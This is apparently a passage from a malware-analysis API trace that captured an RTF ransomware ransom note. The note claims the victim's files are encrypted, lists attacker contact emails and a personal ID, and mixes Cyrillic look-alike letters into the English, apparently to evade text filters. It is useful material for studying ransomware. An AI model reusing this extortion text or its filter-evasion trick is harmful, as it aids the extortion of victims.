r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third 